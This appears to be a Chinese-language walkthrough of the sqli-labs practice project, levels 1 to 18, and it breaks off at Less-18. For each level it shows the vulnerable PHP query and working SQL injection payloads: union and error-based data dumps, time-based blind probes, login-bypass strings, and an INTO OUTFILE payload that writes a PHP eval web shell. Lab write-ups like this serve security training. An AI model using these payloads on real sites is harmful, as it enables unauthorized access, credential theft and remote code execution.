项目地址: https://github.com/Audi-1/sqli-labs
题目如下图所示:
1-20关:万事开头难
Less-1
利用原理:直接拼接外部传入的id查询,并输出错误调试信息
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
解题方法:
一、判断注入是否存在(黑盒视角)
?id=1
?id=1’+and+‘1’='1
回显的结果与id=1时是一样的
?id=1’+and+‘1’='2就发生了变化,由此判断注入点存在
二、按流程利用-也可以直接使用sqlmap
?id=1’+order+by’3’’ 利用order by 判断列数
?id=-1’+union+select+1,2,3–+ 爆出数据库数据返回的显示位置
这里之所以要把id=-1是因为只返回一条数据所以要把前面的数据置否,以及上面最后用到的–+或者冒号(比如这里的–+也可以换成’,因为前面的id=-1’是对WHERE id='$id’中的前半部分闭合了,现在欠缺的是后半部分的闭合)都是为了闭合后面的无关语句,让自己的语句可以执行。
一般把后面的注释掉就可以去考虑前面的闭合了。
查询某一条具体数据需要经过的路径:数据库->数据库中有哪些表->数据库中表的字段->具体的数据查询
?id=-1’+union+select+1,2,database()’
?id=-1’+union+select+1,2,(select group_concat(table_name) from information_schema.tables where table_schema=“security”)’
?id=-1’+union+select+1,2,(select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”)’
?id=-1’+union+select+1,2,(select group_concat(id) from security.users )’
Less-2
数值型注入,流程与Less-1大体相同
输入?id=2-1是1的信息,说明此处是数值型注入
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
?id=-1%20union%20select%201,2,database()–+
Less-3
利用处为id=(‘$id’),流程与Less-1大体相同
?id=1%27)+and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)–+
Less-4
# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
?id=-1")%20and%20updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
Less-5
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式
# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持报错、布尔盲注、延时盲注
if true:
输出 You are in...........
else:
print_r(mysql_error());
?id=1%27+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
Less-6
id=“$id"和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。
?id=1”+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
Less-7
# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
//print_r(mysql_error());
?id=1’)) union select 1,2,“<?php eval($_GET['w']);?>” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23
直接通过system函数执行系统命令
Less-8
id='$id’和 Less-7 注入方式一致,只是拼接方式不一样
?id=1’ union select 1,2,“<?php eval($_GET['w']);?>” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23
Less-9
从源码中可以看到 if else 都输出的是 You are in………… 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入。
# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
?id=1%27%20and%20sleep(1000)–+
Less-10
和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9
# 先使用双引号再直接拼接
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
?id=1" and sleep(1000)–+
Less-11
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
万能密码:
# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit
# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
联合查询:
uname=admin&passwd=admin' order by'2'#&submit=Submit
uname=admin&passwd=-1' union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
报错注入:
uname=admin&passwd=1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
less-12
username=(“x”)和 Less-11 的利用方式一样,只是 SQL 拼接方式不同.
uname=admin&passwd=-1") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
Less-13
# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error())
uname=admin&passwd=-1’) and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
Less-14
# 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
uname=admin&passwd=-1" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
Less-15
username=‘x’源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。
uname=admin&passwd=admin’ and 1>0#&submit=Submit
Less-16
username=(“x”)和 Less-15 注入类型一致,更换对应的闭合方式即可。
uname=admin&passwd=admin") and 1>0#&submit=Submit
Less-17
# uname 参数被过滤了
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
# 更新语句 使用单引号拼接 passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
print_r(mysql_error());
从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
Less-18
# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
# 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点
User-Agent:1’